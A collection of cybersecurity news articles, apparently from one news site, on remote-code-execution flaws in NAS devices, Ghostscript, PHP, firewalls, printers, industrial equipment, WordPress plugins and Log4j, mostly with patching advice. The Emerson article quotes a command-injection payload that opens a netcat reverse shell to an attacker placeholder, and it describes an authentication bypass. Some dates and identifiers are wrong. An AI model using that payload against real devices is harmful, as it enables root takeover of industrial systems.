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Synology NAS
Cyber Security Remote Code Execution Security Flaws Synology NAS

Update Your Synology Devices Now to Avoid Serious Security Risks




Synology, a leading provider of network-attached storage (NAS) devices, has resolved critical security flaws in its products. The company is urging users to update their devices immediately to prevent potential cyberattacks that could exploit these vulnerabilities, allowing hackers to take control without user intervention.  


What Were the Security Flaws?  

The issues were found in Synology’s Photos for DMS and BeePhotos for BeeStation applications. These vulnerabilities, revealed at the Pwn2Own Ireland 2024 cybersecurity competition, could have enabled attackers to execute harmful commands remotely.  

Such vulnerabilities, known as “remote code execution” flaws, are particularly dangerous because they require no action from the user. Hackers could exploit these flaws to gain unauthorized access to sensitive data, deploy ransomware, or seize full control of the affected device.    

In response, Synology quickly developed and released patches to address these security gaps. By applying these updates, users can secure their devices and reduce the risk of cyberattacks. This proactive approach ensures that sensitive information stored on NAS devices remains protected.  


Why This is Crucial  

NAS devices, often connected to the internet, store critical data such as documents, photos, and financial information. Without regular updates, these devices can become easy targets for cybercriminals. Synology’s timely patches are essential in reducing the likelihood of ransomware attacks, data breaches, and other malicious activities.  


How the Flaws Were Discovered  

The vulnerabilities were identified during the Pwn2Own Ireland 2024 competition, an event organized by Trend Micro's Zero Day Initiative (ZDI). This competition rewards ethical hackers for uncovering weaknesses in digital devices, including NAS systems, cameras, and smart home equipment.  

At the event, researchers received over $1 million in total rewards, with $260,000 awarded for finding flaws in Synology products. Thanks to these discoveries, Synology was able to act quickly to safeguard its users.  


Steps Users Should Take  

To protect their devices, Synology advises all users to install the latest updates as soon as possible. Enabling automatic updates and periodically checking for new patches can further strengthen security.  

By addressing these issues promptly, Synology has demonstrated its commitment to user safety. However, it is equally important for users to remain vigilant and prioritize updating their devices to defend against cyber threats.  

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Vulnerabilities and Exploits
CVE-2024-29510 Cybersecurity Ghostscript flaw Ghostscript security Ghostscript vulnerability infosec PDF interpreter security Remote Code Execution Security Breach Vulnerabilities and Exploits

New Ghostscript Vulnerability Alarms Experts as Major Breach Threat

 

The information security community is buzzing with discussions about a vulnerability in Ghostscript, which some experts believe could lead to significant breaches in the coming months.

Ghostscript, a Postscript and Adobe PDF interpreter, allows users on various platforms including *nix, Windows, macOS, and several embedded operating systems to view, print, and convert PDFs and image files. It is commonly installed by default in many distributions and is also utilized by other packages for printing or conversion tasks.

This vulnerability, identified as CVE-2024-29510 and given a CVSS score of 5.5 (medium) by Tenable, was first reported to the Ghostscript team in March and was addressed in the April release of version 10.03.1. However, the researcher's blog post that uncovered this flaw has recently sparked widespread interest.

Thomas Rinsma, the lead security analyst at Codean Labs in the Netherlands, discovered a method to achieve remote code execution (RCE) on systems running Ghostscript by bypassing the -dSAFER sandbox. Rinsma highlighted the potential impact on web applications and services that use Ghostscript for document conversion and preview functionalities.

Ghostscript's extensive use in various applications, such as cloud storage preview images, chat programs, PDF conversion, printing, and optical character recognition (OCR) workflows, underscores its importance. Stephen Robinson, a senior threat intelligence analyst at WithSecure, noted that Ghostscript's integral role in many solutions often goes unnoticed.

To enhance security, the Ghostscript development team has implemented increasingly robust sandboxing capabilities, with the -dSAFER sandbox enabled by default to prevent dangerous operations like command execution. Detailed technical information and a proof of concept (PoC) exploit for Linux (x86-64) can be found on the researcher's blog. The PoC demonstrates the ability to read and write files arbitrarily and achieve RCE on affected systems.

Rinsma confirmed that the PoC may not work universally due to assumptions about stack and structure offsets that vary by system. The PoC, shared by Codean Labs, is an EPS file, and any image conversion service or workflow compatible with EPS could be exploited for RCE, according to Robinson.

Tenable's assessment of the CVE as a local vulnerability requiring user interaction has been questioned by experts like Bob Rudis, VP of data science at GreyNoise. Rudis and others believe that no user interaction is needed for the exploit to succeed, which could mean the severity score is underestimated.

Accurate severity assessments are crucial for the infosec industry, as they guide organizations on the urgency of applying patches and mitigations. The delayed recognition of this vulnerability's severity highlights the importance of precise evaluations.

Rudis expects several notifications from organizations about breaches related to this vulnerability in the next six months. Bill Mill, a full-stack developer at ReadMe, reported seeing attacks in the wild and emphasized the need for organizations to prioritize applying patches.

This is the second notable RCE vulnerability in Ghostscript within 12 months. Last July, CVE-2023-36664, rated 9.8 on the severity scale, made headlines after Kroll's investigation. Ghostscript's widespread use in modern software, including 131 packages in Debian 12 and applications like LibreOffice, underscores the critical need for security measures.


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Remote Code Execution
Authentication Bypass Claroty Team82 critical vulnerabilities Cyber Security Cybersecurity Emerson gas chromatographs Remote Code Execution

Critical Vulnerabilities Found in Emerson Gas Chromographs Expose Systems

 

Multiple critical vulnerabilities have been identified in Emerson gas chromatographs, posing risks such as unauthorized access to sensitive data, denial-of-service conditions, and arbitrary command execution. Gas chromatographs are essential in various industries like chemical, environmental, and healthcare sectors for analyzing and separating chemical compounds. The Emerson Rosemount 370XA, a widely used model, uses a proprietary protocol for communication between the device and a technician's computer.

Security researchers from Claroty's Team82 discovered four significant vulnerabilities: two command injection flaws, an authentication bypass, and an authorization vulnerability. One of the command injection flaws received a critical CVSS v3 score of 9.8.

The vulnerability, designated CVE-2023-46687, is an unauthenticated remote code execution or command injection flaw found in the "forced calibration" command type. It involves a system function that uses a constructed shell command with a user-provided file name without proper sanitization, allowing attackers to inject arbitrary shell commands.

Attackers can exploit this vulnerability by supplying crafted inputs, such as gunzip -c ;nc -e /bin/sh ATTACKER_MACHINE 1337;> name_of_the_expanded_file, leading to arbitrary code execution in the root shell context.

Another vulnerability, CVE-2023-51761, is an authentication bypass that allows attackers to reset the administrator password by calculating a secret passphrase derived from the device's MAC address. Since the MAC address is not secret and can be easily obtained, attackers can generate the passphrase and log in with administrator privileges using credentials formatted as EMERSON/{PASSPHRASE}.

The vulnerability CVE-2023-49716 involves a user login bypass through a password reset mechanism, enabling an unauthenticated user with network access to gain admin capabilities by bypassing authentication.

The final vulnerability, CVE-2023-43609, involves command injection via reboot functionality, allowing an authenticated user with network access to execute arbitrary commands remotely.

Due to the high cost and difficulty of obtaining a physical device, researchers emulated the Emerson Rosemount 370XA for their analysis. They identified flaws in the device's protocol implementation, enabling them to craft payloads and uncover the vulnerabilities. For instance, the authentication bypass vulnerability allowed attackers to calculate a secret passphrase and reset administrator passwords, compromising system security.

Emerson has issued a security advisory recommending that end users update the firmware on their products. The Cybersecurity and Infrastructure Security Agency has also released an advisory regarding these vulnerabilities.
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vulnerability patch
breach servers Cyber Security PHP exploit PHP RCE vulnerability Ransomware attack ransomware mitigation Remote Code Execution server security TellYouThePass ransomware vulnerability patch

TellYouThePass Ransomware Exploits Recent PHP RCE Vulnerability to Compromise Servers

 

The TellYouThePass ransomware gang has been exploiting the recently patched CVE-2024-4577 remote code execution vulnerability in PHP to deliver webshells and execute their ransomware payload on target systems.

The attacks began on June 8, less than 48 hours after PHP maintainers released security updates, utilizing publicly available exploit code. TellYouThePass is notorious for quickly adopting public exploits for widespread vulnerabilities. In November, they exploited an Apache ActiveMQ RCE, and in December 2021, they used the Log4j exploit to breach companies.

In the latest attacks observed by researchers at cybersecurity company Imperva, TellYouThePass leveraged the critical-severity CVE-2024-4577 bug to execute arbitrary PHP code. They used the Windows mshta.exe binary to run a malicious HTML application (HTA) file. This file contained VBScript with a base64-encoded string that decoded into a binary, loading a .NET variant of the ransomware into the host's memory.

Ransomware Impact and Tactics

Upon execution, the malware sends an HTTP request to a command-and-control (C2) server disguised as a CSS resource request and encrypts files on the infected machine. It then leaves a ransom note, "READ_ME10.html," with instructions for the victim on how to restore their files. User posts on the BleepingComputer forum indicate that TellYouThePass attacks have claimed victims since June 8, demanding 0.1 BTC (around $6,700) for the decryption key. One user reported that the ransomware campaign affected multiple websites hosted on their server.

Vulnerability Details and Response

CVE-2024-4577 is a critical RCE vulnerability that affects all PHP versions since 5.x. It originates from unsafe character encoding conversions on Windows when used in CGI mode. The vulnerability was discovered on May 7 by Devcore's Orange Tsai, who reported it to the PHP team. A fix was released on June 6 with PHP versions 8.3.8, 8.2.20, and 8.1.29.

The following day, WatchTowr Labs released a proof-of-concept (PoC) exploit code for CVE-2024-4577. The Shadowserver Foundation observed exploitation attempts on their honeypots the same day. According to a report from Censys, over 450,000 exposed PHP servers could be vulnerable to the CVE-2024-4577 RCE vulnerability, with most located in the United States and Germany. Wiz, a cloud security startup, estimated that around 34% of these instances might be vulnerable.
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Vulnerabilities and Exploits
CVE-2024-3400 Cyber Cybersecurity Palo Alto Networks PAN-OS firewall Remote Code Execution Threat actors Volexity Vulnerabilities and Exploits

Zero-Day Exploitation of Palo Alto Networks Firewall Allows Backdoor Installation

 

Suspected state-sponsored hackers have exploited a zero-day vulnerability in Palo Alto Networks firewalls, identified as CVE-2024-3400, since March 26. These hackers have utilized the compromised devices to breach internal networks, pilfer data, and hijack credentials.

Palo Alto Networks issued a warning on the active exploitation of an unauthenticated remote code execution flaw in its PAN-OS firewall software. Patch updates are slated for release on April 14. Given the ongoing exploitation, Palo Alto Networks opted to disclose the vulnerability and provide interim mitigations for customers until patches are fully deployed.

Further insights into the zero-day exploitation emerged from a subsequent report by Volexity, the entity that discovered the flaw. According to Volexity, hackers have been exploiting the vulnerability since March, employing a custom backdoor dubbed 'Upstyle' to infiltrate target networks and execute data theft. The activity, tracked under the designation UTA0218, is strongly suspected to be orchestrated by state-sponsored threat actors.

Volexity's investigation traced the zero-day exploitation to April 10, primarily targeting the GlobalProtect feature of Palo Alto Networks PAN-OS. The subsequent deployment of identical exploitation methods at another customer site underscored the severity of the situation. Despite the exploitation period starting as early as March 26, payloads were not deployed until April 10.

The 'Upstyle' backdoor, facilitated by a Python script, enables remote command execution on compromised devices. The backdoor leverages a path configuration file to execute commands, allowing threat actors to operate stealthily within compromised environments.

In addition to the 'Upstyle' backdoor, Volexity observed the deployment of additional payloads, including reverse shells, PAN-OS configuration data exfiltration tools, and the Golang tunneling tool 'GOST.' In some instances, threat actors pivoted to internal networks to steal sensitive files, such as Active Directory databases and browser data from specific targets.

Volexity recommends two methods for detecting compromised Palo Alto Networks firewalls: generating Tech Support Files to analyze forensic artifacts and monitoring network activity for specific indicators of compromise.

This incident underscores the increasing targeting of network devices by threat actors, as demonstrated by previous campaigns exploiting vulnerabilities in Fortinet, SonicWall, Cisco, TP-Link, and Barracuda devices.
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Vulnerabilities and Exploits
Buffer Overflow Canon Japanese Firm Remote Code Execution Vulnerabilities and Exploits

Canon Patches Seven Critical Flaws in Small Office Printers

 

Canon, a Japanese electronics company, released software patches on Monday that address seven major vulnerabilities impacting numerous small office printer models. 

Buffer overflow flaws are the issues that can be used to execute code remotely over a network or render a vulnerable product inoperable.

"These vulnerabilities point to the possibility that an unauthorised remote attacker could be able to execute arbitrary code and/or use the product as a target for a denial-of-service (DoS) attack over the Internet if a product is connected directly to the Internet without using a router (wired or Wi-Fi)," according to Canon. 

The vulnerabilities are tracked under the CVE-2023-6229, CVE-2023-6234, and CVE-2024-0244 codes. They have a 9.8 CVSS score, according to Japan's vulnerability information portal JVN.

According to NIST advisories, flaws were identified in a number of components, including the processes for downloading CPCA PDL resources, Address Book passwords, WSD probe requests, Address Book usernames, SLP attribute requests, CPCA Colour LUT resource downloads, and CPCA PCFAX number processes. 

The imageCLASS MF753CDW, MF751CDW, MF1333C, LBP674CDW, and LBP1333C series in North America; Satera LBP670C and MF750C series in Japan; and i-SENSYS LBP673Cdw, MF752Cdw, MF754Cdw, C1333i, C1333iF, and C1333P series in Europe are the printer types that are susceptible. 

However, the vulnerabilities affect firmware versions 03.07 and earlier for all models. The regional websites of Canon have updates that fix these issues.

No reports of these vulnerabilities being used have surfaced. However, we advise our clients to install the latest firmware available for the concerned models in order to improve the product's security," Canon states on its European support website. 

Customers should additionally limit access to the printers by concealing them behind a router or firewall, assigning them a secret IP address, and limiting access to them because the vulnerabilities mentioned above can be exploited remotely. 

Canon reports that Trend Micro's Zero Day Initiative (ZDI) was used to expose all seven security flaws.
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Sensitive Information
DDOS Tools Encryption malware MFA Payload Phishing Attacks Private Data Remote Code Execution Sensitive Information

Defending Against Stealer Log Cyber Threats

Cyber attacks are a serious concern in a digital environment that is becoming more linked. Silent cyber threats have become more common among the many different types of cyberattacks because of their covert nature and potentially disastrous outcomes. The stealer log, a tool used by bad actors to steal sensitive information from unwitting victims, is one notable variation. This article addresses ways to lessen the impact of the stealer log lifecycle on people and organizations while also delving into its complexities.

According to cybersecurity experts, a stealer log is a sophisticated malware designed to covertly infiltrate systems, gather confidential data, and exfiltrate it without arousing suspicion. These logs can harvest a wide array of information, including login credentials, financial data, and personal identification. An analysis by Flare Systems reveals that stealer logs often initiate their lifecycle through phishing emails or compromised websites, thus underscoring the importance of email security and robust browsing practices.

"Stealer logs are a testament to cybercriminals' evolving tactics. Understanding their lifecycle is crucial in building effective defenses against these threats," remarks Dr. Emily Parker, a cybersecurity analyst.

The lifecycle of a stealer log typically encompasses several stages:

  • Infiltration: Cybercriminals distribute malware through deceptive emails or exploit kits on compromised websites. Users are tricked into downloading and executing the malware, unknowingly granting it access to their systems.
  • Data Collection: Once inside the system, the stealer log meticulously captures sensitive data. It can record keystrokes, take screenshots, and extract stored passwords from browsers and other applications.
  • Encryption and Exfiltration: The stolen data is encrypted and transmitted to a remote server controlled by the attackers. This step ensures that the information remains hidden from security measures.
  • Remote Command and Control: Attackers can remotely control the malware, allowing them to update its functionality, deploy additional payloads, or pivot to new attack vectors.

Efforts to counter the stealer log threat are underway. A study highlights the significance of multi-factor authentication (MFA) and security awareness training in safeguarding against these threats. "Employing MFA adds an additional layer of protection, requiring attackers to breach multiple barriers, which can significantly impede their progress," states cybersecurity expert John Anderson.

Moreover, Flare Systems emphasizes continuous monitoring and incident response readiness as vital components of effective defense strategies. Regular system scans, behavioral analysis, and prompt patching of vulnerabilities can help detect and mitigate potential breaches before they escalate.

As cyber-attacks get more sophisticated, it is crucial to comprehend the lifecycle of tools like stealer logs while creating proactive security measures. By combining user education, technological advancements, and stringent security protocols, people and organizations can continue to have an advantage in the continuous struggle with cyber attackers. By being knowledgeable and using the right strategies, one can move confidently and resiliently in the digital world.
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Windows MSHTML
CVE-2023-32046 CVE-2023-36884 Microsoft Microsoft Security Update Guide Rapid7 RCE Remote Code Execution Security Flaws Vulnerabilities and Exploits Windows MSHTML

Microsoft Confirms Zero Day Exploits, Prompts Users to Update


This week Microsoft confirmed around 132 security vulnerabilities in its product lines, including a total of six zero-day flaws that are currently being actively exploited. Because of this, security professionals advise Windows users to upgrade right away.

One of these zero-day vulnerabilities is of remote code executive (RCE) type, affecting Windows HTML and Microsoft Office. Microsoft has surprisingly not yet released a patch for CVE-2023-36884, opting instead to provide configuration mitigation methods, despite this being a Patch Tuesday rollout. Microsoft has connected the exploitation of this vulnerability to the Russian cybercrime group RomCom, which is suspected to be acting in the interests of Russian intelligence.

According to Rapid7 vulnerability risk management specialist Adam Barnett, the RomCom gang has also been linked to ransomware assaults that have been directed at a variety of targets. More such security experts are raising concerns given the number of vulnerabilities and the multiple zero-days that they are coming across, regarding which they are warning Windows users to adopt the updated versions promptly. The Microsoft Security Update Guide contains a comprehensive list of the vulnerabilities fixed by the most recent Patch Tuesday release. Security professionals have, however, drawn attention to some of the more crucial ones.

CVE-2023-36884 

According to Microsoft, “investigating reports of a series of remote code execution vulnerabilities impacting Windows and Office products. Microsoft is aware of targeted attacks that attempt to exploit these vulnerabilities by using specially-crafted Microsoft Office documents.”

While this vulnerability is still unpatched, Microsoft says it will “take the appropriate action to help protect our customers” ones they are done with the investigations. However, speculations claims that this will happen via an out-of-band security update rather than leaving an actively exploited zero-day up for patch for next month’s Patch Tuesday rollout. Microsoft directs users to a threat intelligence blog article that offers workaround mitigations in the meantime.

CVE-2023-32046 

This flaw is a Windows MSHTML platform elevation of privilege vulnerability that is being exploited. The zero-day flaw exploits the MSHTML core Windows components, that are used to produce content like HTML.

According to Kev Breen, director of cyber threat research at Immersive Labs, “This is not limited to browsers.” He warns, “other applications like Office, Outlook, and Skype also make use of this component.” It is likely that the attack vectors would include typical suspects—a malicious document attached to an email or a malicious website or web page. . “This vulnerability would likely be used as an initial infection vector[…]allowing the attacker to gain code execution in the context of the user clicking the link or opening the document,” says Breen.

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Vulnerabilities and Exploits.
IoT Mirai botnet Palo Alto Networks' Unit 42 Remote Code Execution Vulnerabilities and Exploits.

Industrial Solar Panels Face Critical RCE Bugs

Several critical Remote Code Execution (RCE) vulnerabilities have recently emerged, posing a significant threat to industrial solar panels and potentially endangering grid systems. These vulnerabilities, if exploited, could have severe consequences for energy organizations and their critical infrastructure. Security experts are raising alarms and urging immediate attention to address these vulnerabilities before they can be exploited by malicious actors.

The discovery of these critical vulnerabilities has prompted concern among industry experts. One of the primary sources of information on this issue comes from a report by Dark Reading, a leading cybersecurity news platform, which highlights the severity of the situation. According to the report, three critical RCE bugs have been identified that specifically target industrial solar panels. These bugs, if successfully exploited, could allow attackers to gain unauthorized access and control over the panels, potentially leading to widespread disruption of the power grid.

The vulnerabilities have caught the attention of prominent cybersecurity research organizations, such as Palo Alto Networks' Unit 42. In their analysis, they mention the emergence of a new variant of the infamous Mirai botnet that specifically targets Internet of Things (IoT) devices, including solar panels. This variant utilizes known exploits, including those related to the identified RCE bugs, to compromise vulnerable systems and recruit them into its network of compromised devices.

The implications of these vulnerabilities are far-reaching. SolarView, a company that specializes in monitoring and managing solar energy systems, acknowledged the existence of RCE vulnerabilities in their product. They have promptly taken action to address the issue and have released patches to mitigate the risks. In an official blog post, SolarView emphasizes the importance of promptly applying these updates to protect against potential attacks.

Energy organizations and critical infrastructure providers must recognize the gravity of these vulnerabilities. According to a report from GreyNoise Intelligence, the cyber threat intelligence company, the impact of these RCE bugs extends beyond SolarView systems, potentially affecting other industrial solar panel solutions as well. The report urges heightened vigilance and emphasizes the importance of sharing intelligence to protect against attacks that exploit these vulnerabilities.

The severity of these vulnerabilities and their potential impact on critical infrastructure has prompted industry experts to issue warnings and urge organizations to prioritize vulnerability management. As Ryan Olson, Vice President of Threat Intelligence at Palo Alto Networks, stated, "Energy organizations must remain vigilant and take immediate steps to identify and patch any vulnerable solar panels to prevent potential attacks."

Grid systems and energy companies are seriously at risk due to the appearance of three key RCE viruses that target industrial solar panels. Companies must act quickly to patch these vulnerabilities and implement effective vulnerability management procedures. Organizations can protect their crucial infrastructure and reduce the risks brought on by these exploitable vulnerabilities by taking proactive measures.
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Vulnerabilities and Exploits
Operational Technology RCE Remote Code Execution Security research Vulnerabilities and Exploits

Several RCE Bugs Making Industrial IoT Devices Vulnerable to Cyberattacks


Eleven vulnerabilities in the cloud-management platforms of three industrial cellular router vendors put operational technology (OT) networks at risk for remote code execution, even when the platform is not actively set up for cloud management.

Eran Jacob, team leader of the security research team at Otorio, and Roni Gavrilov, security researcher, warn that the vulnerabilities are critical as they can be used to exploit thousands of industrial Internet of Things (IIoT) devices and networks in a variety of sectors, even though they affect devices from only three vendors, namely Sierra Wireless AirLink, Teltonika Networks RUT, and InHand Networks InRouter. 

"Breaching of these devices can bypass all of the security layers in common deployments, as IIoT devices are commonly connected both to the Internet and the internal OT network[…]It also raises additional risk for propagation to additional sites through the built-in VPN," the researchers said.

The researchers added that in case the attackers acquire a direct connection to the internet OT environment, it may further impact production and pose safety risks for users in their virtual environment.

Attackers can also use a variety of vectors to take advantage of the flaws, according to the researchers, including compromising devices in the production network to enable unauthorized access and control with root privileges, gaining root access through a reverse shell, and using compromised devices to exfiltrate sensitive data and carry out actions like shutdown.

Where the Issues Lie 

Multiple devices can connect to the Internet using a cellular network thanks to an industrial cellular router. According to the researchers, these routers are frequently utilized in industrial environments like factories or oil rigs where typical wired Internet connections would not be viable or dependable.

"Industrial cellular routers and gateways have become one of the most prevalent components in the IIoT landscape[…]They offer extensive connectivity features and can be seamlessly integrated into existing environments and solutions with minimal modifications," Gavrilov wrote in the report.

In order to give clients remote management, scalability, analytics, and security across their OT networks, vendors of these devices use cloud platforms. The researchers further noted that they discovered a number of vulnerabilities that "pertain to the connection between IIoT devices and cloud-based management platforms," which is, in some cases, enabled by default.

"These vulnerabilities can be exploited in various scenarios, affecting devices that are both registered and unregistered with remote management platforms[…]Essentially, it means that there are security weaknesses in the default settings of certain devices' connectivity to cloud-based management platforms, and these weaknesses can be targeted by attackers," they said.

Mitigation Strategies

Researchers have provided vendors of these devices as well as OT network administrators with a number of mitigation measures. They recommended that OT network managers uninstall any inactive cloud features if they are not actively using the router for cloud management in order to avoid device takeovers and minimize the attack surface.

Administrators can also restrict direct connection from IIoT devices to routers because built-in security mechanisms like firewalls and VPN tunnels lose their effectiveness after being compromised, according to the researchers.

"Adding separate firewall and VPN layers can assist with delimitering and reduce risks from exposed IIoT devices used for remote connectivity," Gavrilov added in the report.  

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WordPress Plugin
Elementor Pro Remote Code Execution Threat actors Vulnerabilities and Exploits WordFence WordPress Plugin

Critical WordPress Plugin Vulnerability Enables Hackers To Exploit Over 1M Sites


Threat actors are apparently exploiting two security flaws in the Elementor Pro and Ultimate Addons for Elementor WordPress plugins, in an effort to remotely execute arbitrary code and completely compromise unpatched targets.

As reported by the Threat Intelligence team at Wordfence, reports of threat actors attempting to exploit the two issues in ongoing attacks had appeared as of May 6.

Elementor Pro 

Elementor Pro is a paid plugin with an estimated number of over 1 million active installs, enabling users to quickly and easily develop WordPress websites from scratch, with the aid of a built-in theme builder, a visual form widget designer, and custom CSS support.

The Elementor Pro vulnerability is an RCE (Remote Code Execution) bug rated as Critical. It enables attackers with registered user access to upload arbitrary files to the affected websites and remotely execute code.

In order to preserve access to the compromised sites, attackers who successfully exploit this security issue can either install backdoors or webshells, obtain full admin access to completely compromise the site, or even entirely eliminate the site.

In case they are unable to register as users, they can exploit the second vulnerability in the over 110,000-site-installed Ultimate Addons for Elementor WordPress plugin, which will let them sign up as subscriber-level users on any site using the plugin even if user registration is disabled.

"Then they proceed to use the newly registered accounts to exploit the Elementor Pro [..] vulnerability and achieve remote code execution," as Wordfence discovered.

Mitigation Measures 

In order to protect oneself from the ongoing attacks, it is advised to update your Elementor Pro to version 2.9.4, that patches the remote code execution vulnerability.

Users of the Ultimate Addons for Elementor will have to upgrade to version 1.24.2 or later. To be sure that your website has not already been compromised, Wordfence advises taking the following actions:

  • Check for any unknown subscriber-level users on your site. 
This may indicate that your site has been compromised as a part of this active campaign. If so, remove those accounts. 
  • Check for files named “wp-xmlrpc.php.” 
These may indicate any compromise. So, it is advised to check your site for evidence of this file. 
  • Delete any unknown files or folders found in /wp-content/uploads/elementor/custom-icons/ directory.
The presence of files here following the creation of a rogue subscriber-level account is an obvious indication of compromise.  

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Vulnerabilities and Exploits
Arbitrary code execution Japanese Processor Remote Code Execution Security flaw Vulnerabilities and Exploits

Critical Security Flaws Identified in Popular Japanese Word Processing Software

 

Ichitaro is a widely recognized word processing software in Japan created by JustSystems.

Cisco Talos recently discovered four bugs in it that might result in arbitrary code execution. Ichitaro employs the.jtd file extension and the ATOK input method (IME). In Japan, there is only Microsoft Word that is more widely used as a word processor. 

The researchers identified four flaws that might provide an attacker access to the target machine and the ability to run arbitrary code. In the event that the target accesses a malicious file prepared by the attacker, TALOS-2022-1673 (CVE-2022-43664) might cause the attacker to reuse freed memory, which could result in more memory corruption and even arbitrary code execution. 

Similar effects can also be seen as a result of TALOS-2023-1722 (CVE-2023-22660), except this time the cause is a buffer overflow. 

The two other memory corruption flaws, TALOS-2022-1687 (CVE-2023-22291) and TALOS-2022-1684 (CVE-2022-45115), which can also result in code execution if the target opens a specially prepared, malicious document, are similarly exploitable. 

In accordance with Cisco's vulnerability disclosure policy, Cisco Talos collaborated with JustSystems to ensure that these vulnerabilities were patched and that an update was accessible to customers who were affected. 

Users are advised to update these impacted products as soon as they can: Version 1.0.1.57600 of Ichitaro 2022. This version of the word processor can be abused by these flaws, according to Talos' testing. 

61011, 61012, 61091, 61092, 61163, 61164, 61393 and 61394 are the Snort rules that will catch attempts to exploit this issue. In the absence of new vulnerability information, further rules may be provided in the future, and existing rules may change. Please consult your Cisco Secure Firewall Management Center or Snort.org for the latest up-to-date rule information.
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Software
Cyber Attacks Cyber Systems NSA Remote Code Execution RMM Software Software

Using Legitimate Remote Management Systems, Hackers Infiltrate Federal Agencies

 


Last summer, several Federal Civilian Executive Branch (FCEB) agencies were breached across several states of the US through a clever hacking operation that employed two off-the-shelf remote monitoring and management systems (RMMs). 

A joint advisory was released on Jan. 25, 2013, by the Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), and Multi-State Information Sharing and Analysis Center (MS-ISAC). This joint advisory shed light on the attacks in detail. It also warned the cybersecurity community of the misuse of commercial RMM software. It also provided mitigation strategies as well as indicators of potential compromise. 

To monitor and manage client networks and endpoints remotely, IT service providers use Remote Monitoring and Management tools (RMMs). According to the US government, hackers can bypass typical software control policies on victim computers using the same software to evade authorization requirements. 

Hackers Used RMMs to Breach the Government's Security 

As part of its retrospective analysis of Einstein, a system CISA deploys across its FCEB agencies that detects intrusions, CISA conducted this scenario last October. There may have been more to the research than the researchers had expected. 

There was a phishing email sent to the government email address of an employee of FCEB in mid-June last year by hackers. The email provided a phone number that needed to be called in response to the email. They were instructed to visit the website www.myhelpcare.online when calling the number, it prompted them to visit a malicious website. 

By visiting this domain, an executable was downloaded, which was then used to connect to a second domain through Internet Protocol (IP), where two Remote Management Managers (RMMs) - AnyDesk and ScreenConnect (now ConnectWise Control) - got involved. In the case of the second domain, NoneDesk and ScreenConnect were not installed on the target computer. 

Compared to the number of standalone programs that were downloaded, a much higher proportion were downloaded as self-contained, portable executables which were configured to connect back to the servers of the threat actors, rather than downloadable as standalone files. 

Why is this significant? What are the implications of this? It is pertinent to note that the authoring organizations have explained that portable executables do not require administrator privileges, so they can be used in settings where a risk management control may be in place to audit or block the installation of an unapproved program on a network even if the program has not been approved by the corporate IT department. 

By taking advantage of the compromised software controls and admin privileges, the threat actors would have a chance to take advantage of other vulnerable machines within the local intranet or use the executable to establish long-term persistent access as a local user service. 

The June compromise, however, appears to have just been the tip of the iceberg when it comes to issues of the future. There was further analysis of the traffic between a different FCEB network, "my help is .cc," and a similar domain - "my help is cc," which three months later led to another FCEB network being observed and the authors recall that further analysis revealed related activity involving other FCEB networks as well. 

There is no doubt that the attackers were motivated financially, although they targeted government employees. Using RMM software, the attackers connected to targets' computers and enticed victims to log into their bank accounts to monitor their balances. The authors exploited their access to modify the summaries of the recipient's bank accounts through RMM software. The actors then instructed the recipient to 'refund' this excess amount to the scam operator by returning it to the bank account summary. This showed that the recipient had mistakenly refunded an excess amount of money.
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Vulnerabilities and Exploits
CERT CERT-In Cyberattack Cybersecurity Remote Code Execution Vulnerabilities and Exploits

Take Steps to Protect Your Enterprise Against the Risks

 

Earlier this month, the Apache Software Foundation announced that its log4j Java-based logging utility (CVE-2021-44228) had been vulnerable to a remote code execution vulnerability (CVE-2021-4428). It was rated a critical severity vulnerability by MITRE and given a CVSS score of 10 out of 10. After the release of the Log4j patch, the vulnerability in the database was exploited in the wild shortly thereafter.

Consequently, several governmental cybersecurity organizations throughout the world, including the United States Cybersecurity and Infrastructure Security Agency, the Austrian CERT, and the United Kingdom National Cyber Security Centre, issued alerts urging organizations around the globe to instantly patch their systems. 
 
During a discussion with Jonathan Care, Senior Director Analyst at Gartner a better understanding of the security implications of the Log4j vulnerability was given. In his presentation, he discussed how organizations are susceptible to threats arising from this vulnerability. He also discussed what measures they should be taking to ensure their enterprise systems are protected against potential threats arising from the vulnerability. 
 

Are There Any Systems Affected by the Log4j Vulnerability? 
 

In addition to affecting enterprise applications and embedded systems, Log4j's vulnerability is extremely widespread. Thus, it may influence their sub-components, as well as their sub-systems. Java-based applications including Cisco Webex, Minecraft, and FileZilla FTP are all examples of affected programs, but this is by no means an exhaustive list. Ingenuity, a NASA helicopter mission in the Mars 2020 program, uses Apache Log4j's logging API to record events, so the vulnerability affects this mission as well. 
  
There are many resources available on the web which list vulnerable systems in the security community. Nevertheless, it should be noted that these lists are constantly changing, which makes it imperative to keep an eye on them. As a result, do not take a non-inclusion of a particular application or system as an indication that it will not be impacted by the patch. 

There is a high probability that a particular technology stack will be exposed to this vulnerability. The vulnerability is likely to affect key suppliers such as SaaS vendors, cloud hosting providers, and web hosting providers. 
 

Risk to Enterprise Applications and Systems, if the Vulnerability is Exploited

 
This vulnerability can be exploited by attackers if it is left unpatched, thus allowing them to take control of and infiltrate enterprise networks if it is left unpatched. The vulnerability is already being exploited by malware, ransomware, and a wide array of other automated threats that are actively taking advantage of this vulnerability. 
 
This vulnerability can be exploited with a great deal of ease – all an attacker needs to do is enter a simple string into a chat window, which is all that it takes. 
 
It is referred to as a "pre-authentication" exploit, which means that to exploit the vulnerability, the attacker does not have to sign into the vulnerable system. You should be prepared for the possibility of your web server becoming vulnerable. 
 

To Protect Their Enterprises From Cybersecurity Threats, What Should CyberSecurity Leaders Do? 

 
Identifying this vulnerability and remediating it as quickly as possible should be one of the top priorities for cybersecurity leaders. The first thing you should do is conduct a detailed audit of any applications, websites, and systems within your domain of responsibility that are connected to the internet or can be viewed as public-facing on the Internet. 

Consider the importance of protecting sensitive operational data such as customer details and access credentials, which are stored on systems that contain sensitive operational data. 
 
When you have completed the audit of your remote employees, you should turn your attention to the next step. Personal devices and routers that constitute a vital link in the chain of security should be updated by these provisions. An active, involved approach is likely to be required to achieve this. There is no point in simply issuing a list of instructions since this does not suffice. To gain access to a key enterprise application or data repository, vulnerable routers could be a potential entry point. Your IT team needs to support and cooperate with you in this endeavor. 
 
When an organization has created an incident response plan and initiated formal severe incident response actions, now is the appropriate time to implement formal severe incident response measures. A board of directors, the CEO, the CIO, and the entire organization must be involved in this incident as we believe all levels of the organization should be involved. 

Make sure you have informed senior leadership and that they are prepared to answer public questions about this issue. For at least the next 12 months, vigilance will be crucial for preventing the exploitation of this vulnerability and the attack patterns exploiting it. This is because neither is likely to disappear for some time.
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Vulnerabilities and Exploits
